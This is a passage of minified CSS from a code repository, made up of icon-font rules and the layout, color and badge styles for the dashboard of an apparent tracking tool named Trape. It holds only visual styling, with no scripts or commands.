con-i-cursor:before{content:"\f246";}.icon-object-group:before{content:"\f247";}.icon-object-ungroup:before{content:"\f248";}.icon-sticky-note:before{content:"\f249";}.icon-sticky-note-o:before{content:"\f24a";}.icon-cc-jcb:before{content:"\f24b";}.icon-cc-diners-club:before{content:"\f24c";}.icon-clone:before{content:"\f24d";}.icon-balance-scale:before{content:"\f24e";}.icon-hourglass-o:before{content:"\f250";}.icon-hourglass-1:before{content:"\f251";}.icon-hourglass-start:before{content:"\f251";}.icon-hourglass-2:before{content:"\f252";}.icon-hourglass-half:before{content:"\f252";}.icon-hourglass-3:before{content:"\f253";}.icon-hourglass-end:before{content:"\f253";}.icon-hourglass:before{content:"\f254";}.icon-hand-grab-o:before{content:"\f255";}.icon-hand-rock-o:before{content:"\f255";}.icon-hand-paper-o:before{content:"\f256";}.icon-hand-stop-o:before{content:"\f256";}.icon-hand-scissors-o:before{content:"\f257";}.icon-hand-lizard-o:before{content:"\f258";}.icon-hand-spock-o:before{content:"\f259";}.icon-hand-pointer-o:before{content:"\f25a";}.icon-hand-peace-o:before{content:"\f25b";}.icon-trademark:before{content:"\f25c";}.icon-registered:before{content:"\f25d";}.icon-creative-commons:before{content:"\f25e";}.icon-gg:before{content:"\f260";}.icon-gg-circle:before{content:"\f261";}.icon-tripadvisor:before{content:"\f262";}.icon-odnoklassniki:before{content:"\f263";}.icon-odnoklassniki-square:before{content:"\f264";}.icon-get-pocket:before{content:"\f265";}.icon-wikipedia-w:before{content:"\f266";}.icon-safari:before{content:"\f267";}.icon-chrome:before{content:"\f268";}.icon-firefox:before{content:"\f269";}.icon-opera:before{content:"\f26a";}.icon-internet-explorer:before{content:"\f26b";}.icon-television:before{content:"\f26c";}.icon-tv:before{content:"\f26c";}.icon-contao:before{content:"\f26d";}.icon-500px:before{content:"\f26e";}.icon-amazon:before{content:"\f270";}.icon-calendar-plus-o:before{content:"\f271";}.icon-calendar-minus-o:before{content:"\f272";}.icon-calendar-times-o:before{content:"\f273";}.icon-calendar-check-o:before{content:"\f274";}.icon-industry:before{content:"\f275";}.icon-map-pin:before{content:"\f276";}.icon-map-signs:before{content:"\f277";}.icon-map-o:before{content:"\f278";}.icon-map:before{content:"\f279";}.icon-commenting:before{content:"\f27a";}.icon-commenting-o:before{content:"\f27b";}.icon-houzz:before{content:"\f27c";}.icon-vimeo:before{content:"\f27d";}.icon-black-tie:before{content:"\f27e";}.icon-fonticons:before{content:"\f280";}.icon-reddit-alien:before{content:"\f281";}.icon-edge:before{content:"\f282";}.icon-credit-card-alt:before{content:"\f283";}.icon-codiepie:before{content:"\f284";}.icon-modx:before{content:"\f285";}.icon-fort-awesome:before{content:"\f286";}.icon-usb:before{content:"\f287";}.icon-product-hunt:before{content:"\f288";}.icon-mixcloud:before{content:"\f289";}.icon-scribd:before{content:"\f28a";}.icon-pause-circle:before{content:"\f28b";}.icon-pause-circle-o:before{content:"\f28c";}.icon-stop-circle:before{content:"\f28d";}.icon-stop-circle-o:before{content:"\f28e";}.icon-shopping-bag:before{content:"\f290";}.icon-shopping-basket:before{content:"\f291";}.icon-hashtag:before{content:"\f292";}.icon-bluetooth:before{content:"\f293";}.icon-bluetooth-b:before{content:"\f294";}.icon-percent:before{content:"\f295";}.icon-feedback:before{content:"\ea81";} ================================================ FILE: static/css/services-icons.css ================================================ @font-face{font-family:services;src:url(fonts/services.eot?5iun5b);src:url(fonts/services.eot?5iun5b#iefix) format('embedded-opentype'),url(fonts/services.ttf?5iun5b) format('truetype'),url(fonts/services.woff?5iun5b) format('woff'),url(fonts/services.svg?5iun5b#services) format('svg');font-weight:400;font-style:normal} ================================================ FILE: static/css/styles.css ================================================ @import url(https://fonts.googleapis.com/css?family=Niconne|Baloo+Bhaina|Maven+Pro:400,700,900|Lato:300,400,700,900|Ubuntu:200,400,500,600,700,900);.TrapeControl-Header--menu---btnUpdate----button,.TrapeControl-Preview--box---Sidebar----NetworksDefine:before,body,body.TrapeBody-Control,body.TrapeBody-Login,html{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased}a,abbr,acronym,address,applet,article,aside,audio,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{padding:0;border:0;outline:0;vertical-align:baseline}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;-webkit-touch-callout:none;-webkit-tap-highlight-color:transparent}body,body.TrapeBody-Control,body.TrapeBody-Login{margin:0;min-height:100%;background-color:#fff;text-rendering:optimizeLegibility;color:#000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen,Ubuntu,Cantarell,Fira Sans,Droid Sans,Helvetica Neue,sans-serif}body.TrapeBody-Login{border-top:4px solid #000}body.TrapeBody-Control{border-top:none}::-webkit-scrollbar-corner{background-color:inherit}::-webkit-scrollbar{display:block;-webkit-appearance:none;width:12px;background-color:#fafbfc}::-webkit-scrollbar-thumb{border-radius:12px;border:4px solid rgba(255,255,255,0);background-clip:content-box;background-color:rgba(0,0,0,.3)}h2{margin:0}.TrapeControl-Header{display:block;height:68px;vertical-align:top;background:#fff;border-bottom:1px solid #f0ebf3;margin:0 auto;width: 780px;position:relative;top:0;left:0;right:0;}.TrapeControl-Header--logo{font-size:27px;float:left;font-weight:600;margin-top:4px;margin-bottom:14px}.TrapeControl-Header--logoText{font-size:21px;margin-top:9px;margin-bottom:9px;margin-left:8px;float:left;font-weight:600;color:#000;font-family:ubuntu;text-decoration:none}.TrapeControl-Header--Version,.TrapeControl-History--Logs---RefererBadge,.TrapeLogin-Footer--Version{display:-webkit-inline-box;display:-moz-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;position:relative;z-index:3;margin-top:0;margin-bottom:0;vertical-align:middle}.TrapeControl-History--Logs---RefererBadge{position:absolute;top:-9px;right:129px}.TrapeControl-Header--Version---name,.TrapeControl-History--Logs---RefererBadge----ref,.TrapeLogin-Footer--Version---name{outline:0;background-color:#FFD262;border:1px solid #E4B34F;border-right:0;border-top-left-radius:4px;border-bottom-left-radius:4px;font-family:Ubuntu,sans-serif;font-size:10px;font-weight:500;text-transform:uppercase;padding:2px 6px;color:#b68f3f;text-decoration:none}.TrapeControl-History--Logs---RefererBadge----ref{line-height:1;border:1px solid #0071ce;background-color:#007ee5;color:#fff;padding:2px 4px}.TrapeControl-Header--Version---number,.TrapeControl-History--Logs---RefererBadge----domain,.TrapeLogin-Footer--Version---number{border-top-right-radius:4px;border-bottom-right-radius:4px;background-color:#fff;outline:0;color:#b3b0b8;text-transform:uppercase;font-family:Ubuntu,sans-serif;font-size:10px;font-weight:500;border:1px solid #f0ebf3;padding:2px 6px;cursor:pointer;text-decoration:none}.TrapeControl-History--Logs---RefererBadge----domain{line-height:1;background-color:#FBFCFF}.TrapeLogin-Footer--Version---name{font-size:11px;padding:1px 7px;color:#b68f3f}.TrapeLogin-Footer--Version---number{font-size:11px;padding:1px 7px}.TrapeLogin-Footer--Copyright{margin-top:24px!important;}.TrapeLogin-Footer--Copyright---linkBoxug{color:#000;font-weight:600;text-decoration:none;font-family:"Maven Pro";}.TrapeLogin-Footer--Copyright---linkBoxug:hover{color:#3a7ac5}.TrapeLogin-Footer--Copyright---linkBoxug:active{color:#346db1}.TrapeControl-Header--logo---Box{text-align:center;display:inline-block;width:42px;height:42px;float:left;margin-top:9px;border-radius:6px;background:#000;-webkit-transition:all .2s ease-out;-moz-transition:all .2s ease-out;-ms-transition:all .2s ease-out;-o-transition:all .2s ease-out;transition:all .2s ease-out;z-index:2}.TrapeControl-Header--logo---letter{font-family:"Baloo Bhaina",sans-serif;font-size:38px;font-weight:500;color:#fff;line-height:50px;vertical-align:middle}.TrapeControl-Header--logo---description{display:block;font-size:13px;color:#b3b0b8;font-weight:400;margin-top:2px}.TrapeControl-Header--menu{float:right;margin-top:20px;margin-right:2px;border-left:1px solid #f0ebf3;padding-left:11px}.TrapeControl-Header--menu---btnLogout{z-index:1;color:#b3b0b8;font-weight:700;text-align:center;display:inline-block;margin-top:-8px;cursor:pointer;text-decoration:none}.TrapeControl-Header--menu---btnLogout:hover{color:#000}.TrapeControl-Header--menu---btnLogout:active{color:#007ee5}.TrapeControl-Header--menu---btnLogout----Icon{font-size:20px!important}.TrapeControl-Header--menu---btnLogout----Icon:before{content:"\f08b"}.TrapeControl-Header--menu---btnLogout----Text{font-size:13px;margin-top:4px;color:#b3b0b8;text-transform:uppercase;font-family:Ubuntu,sans-serif}.TrapeControl-Wrapper{display:table;width:100%;position:absolute;font-family:Ubuntu,sans-serif}.TrapeControl-Wrapper--PrincipalData{width: 780px;margin:14px auto 0;}.TrapeControl-Wrapper--PrincipalData---Info{position:relative;line-height:24px;font-size:11px;text-align:left;font-family:Ubuntu,sans-serif;width: 780px;}.TrapeControl-Preview--box---Sidebar----NetworksStatusSessions,.TrapeControl-Wrapper--PrincipalData---Info h2,.TrapeControl-Wrapper--PrincipalData---LicenseTime,.TrapeControl-Wrapper--PrincipalData---YourAccess{color:#000;font-weight:500;font-size:11px;text-transform:uppercase;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;padding-right:160px}.TrapeControl-Preview--box---Sidebar----NetworksStatusSessions,.TrapeControl-Wrapper--PrincipalData---LicenseTime,.TrapeControl-Wrapper--PrincipalData---YourAccess{margin-top:-26px;float:right;font-size:13px!important;padding-right:0!important;color:#b3b0b8!important;font-family:Ubuntu,sans-serif}.TrapeControl-Wrapper--PrincipalData---LicenseTime{margin-top:2px}.TrapeControl-Wrapper--PrincipalData---LicenseTime----total{color:#ff5722}.TrapeControl-Wrapper--PrincipalData---LicenseTime----type{color:#b3b0b8}.TrapeControl-Preview--box---Sidebar----NetworksStatusSessions{margin-top:1px;margin-bottom:11px;float:none;font-size:11px!important;letter-spacing:.5px}.TrapeControl-Wrapper--PrincipalData---YourAccess----totalUsed{color:#49b882!important}.TrapeControl-Wrapper--PrincipalData---YourAccess----totalAvailable{color:#b3b0b8!important}.TrapeControl-Preview--box---Sidebar----NetworksStatusSessions-----separator,.TrapeControl-Wrapper--PrincipalData---YourAccess----separator{position:relative;margin-left:4px;margin-right:4px;line-height:0;color:#f0ebf3;border-left:1px solid #f0ebf3}.TrapeControl-Preview--box---Sidebar----NetworksStatusSessions-----totalOnline{color:#49b882!important;font-size:13px!important}.TrapeControl-Preview--box---Sidebar----NetworksStatusSessions-----totalOffline{color:#ed5565!important;font-size:13px!important}.TrapeControl-Wrapper--PrincipalData---Info h3{color:#3a7ac5;font-weight:700;font-size:12px;display:inline-block;float:left;line-height:.5}.TrapeControl-Wrapper--PrincipalData---InfoDetails{border-bottom:1px solid #f0ebf3;padding-bottom:14px;margin-bottom:6px}.TrapeControl-Wrapper--PrincipalData---InfoDetails----Icons{vertical-align:sub;font-size:17px!important;color:#b3b0b8!important;margin-right:4px}.TrapeControl-Wrapper--PrincipalData---InfoDetails---domainClone,.TrapeControl-Wrapper--PrincipalData---InfoDetails---injectCode{color:#b3b0b8;font-weight:400;font-size:11px;display:block;text-transform:uppercase;overflow-wrap:break-word;word-wrap:break-word;word-break:break-word;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;padding-right:215px;letter-spacing:.5px}.TrapeControl-Wrapper--PrincipalData---InfoDetails---domainClone a,.TrapeControl-Wrapper--PrincipalData---InfoDetails---injectCode a{color:#007ee5;text-decoration:underline;text-transform:unset;font-weight:500;letter-spacing:.5px;font-size:11px;margin-left:2px}.TrapeControl-Wrapper--PrincipalData---InfoDetails---domainClone a:hover,.TrapeControl-Wrapper--PrincipalData---InfoDetails---injectCode a:hover{color:#198ae7;text-decoration:underline}.TrapeControl-Wrapper--PrincipalData---InfoDetails---domainClone a:active,.TrapeControl-Wrapper--PrincipalData---InfoDetails---injectCode a:active{color:#0064b7}.TrapeControl-Wrapper--PrincipalData---InfoDetails---start{color:#b3b0b8;font-size:11px;line-height:2;text-transform:uppercase;letter-spacing:.5px}.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;position:relative;top:-6px;text-align:right;float:right}.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----url{outline:0;background-color:#FBFCFF;border:1px solid #f0ebf3;border-right:0;border-top-left-radius:3px;border-bottom-left-radius:3px;font-family:Ubuntu,sans-serif;font-size:11px;font-weight:500;padding:2px 10px;text-decoration:none;color:#b3b0b8;overflow-wrap:break-word;word-wrap:break-word;word-break:break-word;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;width:194px;text-align:left}.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----url:hover{text-decoration:underline}.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----button,.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----buttonShare{background-color:#fff;outline:0;color:#007ee5;text-transform:uppercase;font-family:Lato,sans-serif;line-height:12px;text-decoration:none;font-size:12px;font-weight:600;border:1px solid #f0ebf3;padding:4px 8px;cursor:pointer;-webkit-appearance:none;-moz-appearance:none;-ms-appearance:none;-o-appearance:none}.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----button:nth-child(3),.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----buttonShare:nth-child(3){border-left:none!important;border-top-right-radius:3px;border-bottom-right-radius:3px}.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----button:nth-child(3):active,.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----button:nth-child(3):hover,.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----buttonShare:nth-child(3):active,.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----buttonShare:nth-child(3):hover{border-left:none}.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----button:hover,.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----buttonShare:hover{border:1px solid #0071ce;background-color:#007ee5;color:#fff}.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----button:active,.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----buttonShare.is-active--up,.TrapeControl-Wrapper--PrincipalData---InfoDetails----zoneCopy-----buttonShare:active{background-color:#0071ce;border:1px solid #0058a0;color:#fff}.TrapeControl-ViewDetails{position:fixed;height:100%;width:100%;top:0;left:0;right:0;bottom:0;opacity:0;background-color:rgba(255,255,255,.8);justify-content:center;align-items:center;pointer-events:none;-webkit-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-moz-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-ms-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-o-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-webkit-transform:translate(0,-50px);-moz-transform:translate(0,-50px);-ms-transform:translate(0,-50px);-o-transform:translate(0,-50px);transform:translate(0,-50px);z-index:99}.TrapeControl-ViewDetails.active{pointer-events:auto;opacity:1;-webkit-transform:scale(1);-moz-transform:scale(1);-ms-transform:scale(1);-o-transform:scale(1);transform:scale(1)}.TrapeControl-Preview{width: 780px;background:#fff;height:562px;margin:68px auto 0;box-shadow:0 5px 10px 10px rgba(18,24,33,.05),0 5px 15px rgba(18,24,33,.2);border-radius:6px;z-index:2000;}.TrapeControl-Preview--buttonClose{position:absolute;padding:4px 6px;font-size:16px;line-height:16px;text-align:center;background-color:#fff;color:#ED5565;top:-10px;right:-10px;-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;-ms-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out;cursor:pointer;border-radius:100%;border:1px solid #f0ebf3}.TrapeControl-Preview--buttonClose:hover{background-color:#ED5565;border:1px solid #bd4450;color:#fff}.TrapeControl-Preview--buttonClose:active{background-color:#d54c5a;border:1px solid #a53b46;color:#fff}@media only screen and (max-width:40em){.TrapeControl-Preview{width:100%;height:100%;-webkit-overflow-scrolling:touch;margin:0;top:0;left:0;border-radius:0}.TrapeControl-Preview--buttonClose{position:absolute;padding:3px 5px;font-size:16px;line-height:16px;color:#ED5565;top:0;right:0;border-radius:0;border:1px solid #f0ebf3;border-right:none!important;border-top:none!important}}.TrapeControl-Preview--box{position:relative}.TrapeControl-Preview--box:after{display:block;content:'';clear:both}.TrapeControl-Preview--box---Sidebar{color:#fff;background-color:#fff;border-radius:0 6px 0 0;border-left:1px solid #f0ebf3;width:36%;float:right;height:380px}.TrapeControl-Preview--box---Sidebar----title,.TrapeControl-Preview--box---Sidebar----titlePlayAttack,.TrapeControl-PreviewSummary--info---Sidebar----title{border-top:1px solid #f0ebf3;text-align:left;margin:30px 13px 2px}.TrapeControl-Preview--box---Sidebar----title h2,.TrapeControl-Preview--box---Sidebar----titlePlayAttack h2,.TrapeControl-PreviewSummary--info---Sidebar----title h2{display:inline-block;position:relative;top:-12px;padding:3px 6px;font-weight:500;font-size:10px;font-family:ubuntu;letter-spacing:.5px;text-transform:uppercase;border-radius:3px;color:#b3b0b8;background-color:#f0ebf3}.TrapeControl-Preview--box---Sidebar----title h2{display:none}.TrapeControl-Preview--box---Sidebar----titlePlayAttack,.TrapeControl-PreviewSummary--info---Sidebar----title{text-align:center!important;margin:14px 0 -6px}.TrapeControl-Preview--box---Sidebar----titlePlayAttack h2,.TrapeControl-PreviewSummary--info---Sidebar----title h2{font-size:10px}.TrapeControl-Preview--box---Sidebar----Networks{text-align:center;margin-top:0}.TrapeControl-Preview--box---Sidebar----NetworksDefine{padding:0 8px 0 36px;line-height:19px;color:#fff;font-family:Ubuntu,sans-serif;font-weight:500;display:inline-block;vertical-align:middle;margin:2px;width:77px;position:relative;border-radius:3px;text-decoration:none!important}.TrapeControl-Preview--box---Sidebar----NetworksDefine:before{font-family:boxicons,sans-serif;color:#fff;border-radius:4px 0 0 4px;position:absolute;top:0;left:0;bottom:0;width:26px;font-size:14px;text-align:center;line-height:20px;background-color:rgba(0,0,0,.2);border-right:1px solid rgba(0,0,0,.115)}.TrapeControl-Preview--box---Sidebar----NetworksStatus,.c-offline,.c-online{font-size:10px;font-family:Ubuntu,sans-serif;font-weight:500;border-radius:4px;text-transform:uppercase}.TrapeControl-Preview--box---Sidebar----NetworksStatus{background-color:#fff;padding:1px 6px;letter-spacing:.5px;vertical-align:bottom}.online{color:#49b882}.online:hover{cursor:pointer}.offline{color:#ed5565}.c-offline,.c-online{background-color:#49b882;color:#fff;padding:2px 6px;vertical-align:middle;margin-left:5px;margin-right:5px}.amazon:before,.bitbucket:before,.facebook:before,.github:before,.gmail:before,.medium:before,.paypal:before,.reddit:before,.spotify:before,.tumblr:before,.twitter:before,.vkontakte:before{font-family:boxicons}.c-offline{background-color:#ed5565}.facebook{background-color:#3B5998;box-shadow:1px 1px 0 0 #2f4779,1px -1px 0 0 #2f4779,-1px 1px 0 0 #2f4779,-1px -1px 0 0 #2f4779}.facebook:before{content:"\f09a"}.twitter{background:#00ACEE;box-shadow:1px 1px 0 0 #0089be,1px -1px 0 0 #0089be,-1px 1px 0 0 #0089be,-1px -1px 0 0 #0089be}.twitter:before{content:"\f099"}.vkontakte{background:#45668e;box-shadow:1px 1px 0 0 #375171,1px -1px 0 0 #375171,-1px 1px 0 0 #375171,-1px -1px 0 0 #375171}.vkontakte:before{content:"\ea60"}.reddit{background:#FF4500;box-shadow:1px 1px 0 0 #cc3700,1px -1px 0 0 #cc3700,-1px 1px 0 0 #cc3700,-1px -1px 0 0 #cc3700}.reddit:before{content:"\f281"}.tumblr{background:#32506d;box-shadow:1px 1px 0 0 #284057,1px -1px 0 0 #284057,-1px 1px 0 0 #284057,-1px -1px 0 0 #284057}.tumblr:before{content:"\f173"}.medium{background:#00AB6C;box-shadow:1px 1px 0 0 #008856,1px -1px 0 0 #008856,-1px 1px 0 0 #008856,-1px -1px 0 0 #008856}.medium:before{content:"\f23a"}.dropbox{background:#007ee5;box-shadow:1px 1px 0 0 #0064b7,1px -1px 0 0 #0064b7,-1px 1px 0 0 #0064b7,-1px -1px 0 0 #0064b7}.dropbox:before{font-family:boxicons;content:"\f16b"}.paypal{background:#003087;box-shadow:1px 1px 0 0 #00266c,1px -1px 0 0 #00266c,-1px 1px 0 0 #00266c,-1px -1px 0 0 #00266c}.paypal:before{content:"\f1ed"}.amazon{background:#f90;box-shadow:1px 1px 0 0 #cc7a00,1px -1px 0 0 #cc7a00,-1px 1px 0 0 #cc7a00,-1px -1px 0 0 #cc7a00}.amazon:before{content:"\f270"}.spotify{background:#1db954;box-shadow:1px 1px 0 0 #179443,1px -1px 0 0 #179443,-1px 1px 0 0 #179443,-1px -1px 0 0 #179443}.spotify:before{content:"\f1bc"}.bitbucket{background:#205081;box-shadow:1px 1px 0 0 #194067,1px -1px 0 0 #194067,-1px 1px 0 0 #194067,-1px -1px 0 0 #194067}.bitbucket:before{content:"\f171"}.github{background-color:#24292e;box-shadow:1px 1px 0 0 #15181b,1px -1px 0 0 #15181b,-1px 1px 0 0 #15181b,-1px -1px 0 0 #15181b}.github:before{content:"\f09b"}.gmail{background:#dd4b39;box-shadow:1px 1px 0 0 #ac2d1e,1px -1px 0 0 #ac2d1e,-1px 1px 0 0 #ac2d1e,-1px -1px 0 0 #ac2d1e}.gmail:before{content:"\f1a0"}.airbnb:before,.disqus:before,.foursquare:before,.hackernews:before,.instagram:before,.slack:before{font-family:services}.instagram{background:#fb3958;box-shadow:1px 1px 0 0 #c82d46,1px -1px 0 0 #c82d46,-1px 1px 0 0 #c82d46,-1px -1px 0 0 #c82d46}.instagram:before{content:"\e997"}.foursquare{background:#2d5be3;box-shadow:1px 1px 0 0 #2448b5,1px -1px 0 0 #2448b5,-1px 1px 0 0 #2448b5,-1px -1px 0 0 #2448b5}.foursquare:before{content:"\e961"}.airbnb{background:#fd5c63;box-shadow:1px 1px 0 0 #ca494f,1px -1px 0 0 #ca494f,-1px 1px 0 0 #ca494f,-1px -1px 0 0 #ca494f}.airbnb:before{content:"\e90e"}.hackernews{background:#f60;box-shadow:1px 1px 0 0 #cc5100,1px -1px 0 0 #cc5100,-1px 1px 0 0 #cc5100,-1px -1px 0 0 #cc5100}.hackernews:before{content:"\ea88"}.slack{background:#3eb991;box-shadow:1px 1px 0 0 #319474,1px -1px 0 0 #319474,-1px 1px 0 0 #319474,-1px -1px 0 0 #319474}.slack:before{content:"\ea29"}.disqus{background:#00ACEE;box-shadow:1px 1px 0 0 #0089be,1px -1px 0 0 #0089be,-1px 1px 0 0 #0089be,-1px -1px 0 0 #0089be}.disqus:before{content:"\e949"}.square{background-color:#1b2126;box-shadow:1px 1px 0 0 #15181b,1px -1px 0 0 #15181b,-1px 1px 0 0 #15181b,-1px -1px 0 0 #15181b}.square:before{font-family:boxicons;content:"\f0c8";font-size:15px}.meetup:before,.patreon:before{font-family:services}.meetup{background:#F64060;box-shadow:1px 1px 0 0 #c4334c,1px -1px 0 0 #c4334c,-1px 1px 0 0 #c4334c,-1px -1px 0 0 #c4334c}.meetup:before{content:"\ea8f"}.patreon{background:#F96854;box-shadow:1px 1px 0 0 #c75343,1px -1px 0 0 #c75343,-1px 1px 0 0 #c75343,-1px -1px 0 0 #c75343}.patreon:before{content:"\e9ef"}.udemy{background:#e72424;box-shadow:1px 1px 0 0 #b81c1c,1px -1px 0 0 #b81c1c,-1px 1px 0 0 #b81c1c,-1px -1px 0 0 #b81c1c}.udemy:before{font-family:Niconne;content:"u";font-size:38px;line-height:9px}.etsy:before,.eventbrite:before,.khanacademy:before,.messenger:before,.snapchat:before,.twitch:before,.youtube:before{font-family:services}.youtube{background:red;box-shadow:1px 1px 0 0 #c00,1px -1px 0 0 #c00,-1px 1px 0 0 #c00,-1px -1px 0 0 #c00}.youtube:before{content:"\ea8a"}.snapchat{background:#F7EE3B;box-shadow:1px 1px 0 0 #c5be2f,1px -1px 0 0 #c5be2f,-1px 1px 0 0 #c5be2f,-1px -1px 0 0 #c5be2f}.snapchat:before{content:"\ea2e"}.messenger{background:#0084ff;box-shadow:1px 1px 0 0 #0069cc,1px -1px 0 0 #0069cc,-1px 1px 0 0 #0069cc,-1px -1px 0 0 #0069cc}.messenger:before{content:"\e9c4"}.khanacademy{background:#9db63b;box-shadow:1px 1px 0 0 #7d912f,1px -1px 0 0 #7d912f,-1px 1px 0 0 #7d912f,-1px -1px 0 0 #7d912f}.khanacademy:before{content:"\e9a8"}.eventbrite{background:#f6682f;box-shadow:1px 1px 0 0 #c45325,1px -1px 0 0 #c45325,-1px 1px 0 0 #c45325,-1px -1px 0 0 #c45325}.eventbrite:before{content:"\e955"}.etsy{background:#f45800;box-shadow:1px 1px 0 0 #c34600,1px -1px 0 0 #c34600,-1px 1px 0 0 #c34600,-1px -1px 0 0 #c34600}.etsy:before{content:"\e954"}.twitch{background:#6441a4;box-shadow:1px 1px 0 0 #503483,1px -1px 0 0 #503483,-1px 1px 0 0 #503483,-1px -1px 0 0 #503483}.twitch:before{content:"\ea5f"}.TrapeControl-Preview--box---Sidebar----NetworksBehavior{display:inline-block;position:relative;top:8px;font-weight:500;font-size:10px;letter-spacing:.5px;text-align:left;text-transform:uppercase;border-radius:4px;color:#b3b0b8;font-family:Ubuntu,sans-serif}.TrapeControl-Preview--box---Sidebar----NetworksBehavior i{margin-right:3px;font-size:12px}.TrapeControl-Preview--box---Sidebar----NetworksBehavior span{background-color:#000;padding:2px 6px;border-radius:4px;font-size:10px;color:#fff}.TrapeControl-Preview--box---Mapbox{overflow:hidden;position:relative;height:380px;border-radius:6px 0 0;width: 64%;float:left;}.TrapeControl-Preview--box---Distance,.TrapeControl-Preview--box---MapboxDataIPs,.TrapeControl-Preview--box---SummaryLocation{display:inline-block;position:absolute;bottom:0;left:0;font-family:Ubuntu,sans-serif;font-weight:400;padding-right:10px;font-size:12px;line-height:27px;height:27px;color:#b3b0b8;background:#fff;border-radius:0;width:100%;text-align:left;z-index:3;border-left:none}.TrapeControl-Preview--box---Distance,.TrapeControl-Preview--box---SummaryLocation{bottom:27px;border-bottom:1px solid #f0ebf3}.TrapeControl-Preview--box---Distance{bottom:54px;border-top:1px solid #f0ebf3}.TrapeControl-Preview--box---Distance----iconBox,.TrapeControl-Preview--box---MapboxDataIPs----iconBox,.TrapeControl-Preview--box---SummaryLocation----iconBox{float:left;color:#fff;height:100%;padding:1px 6px;width:27px;margin-right:6px;text-align:center;font-size:14px;background-color:#000}.TrapeControl-Preview--box---MapboxDataIPs----iconBox{background-color:#007ee5}.TrapeControl-Preview--box---SummaryLocation----iconBox{background-color:#f90}.TrapeControl-Preview--box---Distance----text,.TrapeControl-Preview--box---MapboxDataIPs----text,.TrapeControl-Preview--box---SummaryLocation----text{font-family:Ubuntu,sans-serif;font-weight:600;color:#000;vertical-align:text-bottom;font-size:11px}.TrapeControl-Preview--box---Distance----line,.TrapeControl-Preview--box---MapboxDataIPs----line,.TrapeControl-Preview--box---SummaryLocation----line{margin-left:3px;margin-right:3px;border-top:20px solid #f0ebf3;text-align:center;width:1px;display:inline-block;margin-bottom:2px;z-index:3}.TrapeControl-Preview--box---MapboxDataIPs----link{color:#007ee5;text-decoration:underline;text-transform:uppercase;font-weight:600;letter-spacing:.5px;margin-left:2px}.TrapeControl-Preview--box---MapboxDataIPs----link:hover{color:#198ae7;text-decoration:underline}.TrapeControl-Preview--box---MapboxDataIPs----link:active{color:#0064b7}.TrapeControl-Preview--box---Distance----subText,.TrapeControl-Preview--box---Distance----subTextTime,.TrapeControl-Preview--box---MapboxDataIPs----textLocal,.TrapeControl-Preview--box---SummaryLocation----subText{font-size:11px;color:#b3b0b8;font-weight:500}.TrapeControl-Preview--box---Distance----subTextTime{color:#f90}.TrapeControl-Preview--box---Distance----NowDistance,.TrapeControl-Preview--box---Distance----NowTarget{background-color:#000;padding:2px 6px;border-radius:4px;font-weight:500;font-size:10px;color:#fff;text-transform:uppercase}.TrapeControl-Preview--box---Distance----NowTarget{background-color:#49b882}.TrapeControl-Preview--box---Mapbox----define{position:absolute;width: 499px;height:299px;z-index:1;}.TrapeControl-Preview--box---Details{padding:7px 14px;background-color:#FBFCFF;border-top:1px solid #f0ebf3;border-bottom:1px solid #f0ebf3}.TrapeControl-Preview--box---DetailsLine{position:relative;z-index:1}.TrapeControl-Preview--box---DetailsLine .TrapeControl-Preview--box---DetailsLine----define{position:absolute;right:10px;top:11px;left:10px;display:block;border-bottom:1px solid #f0ebf3}.TrapeControl-Preview--box---DetailsElement----Iconbox,.TrapeControl-Preview--box---Sidebar----Iconbox{display:inline-block;position:relative;margin-top:0;font-family:ubuntu,sans-serif;font-weight:500;padding-right:6px;font-size:11px;line-height:18px;color:#b3b0b8;background-color:#f0ebf3;border-radius:3px;text-align:center;text-transform:uppercase}.TrapeControl-Preview--box---Sidebar----Iconbox{line-height:16px;display:inline-block;position:relative;top:-12px;padding-right:6px}.TrapeControl-Preview--box---DetailsElement----Iconbox-----define,.TrapeControl-Preview--box---Sidebar----Iconbox-----define{float:left;color:#fff;height:100%;padding:1px 6px;margin-right:5px;background-color:#000;border-radius:3px 0 0 3px!important}.TrapeControl-Preview--box---Sidebar----Iconbox-----define{padding:1px 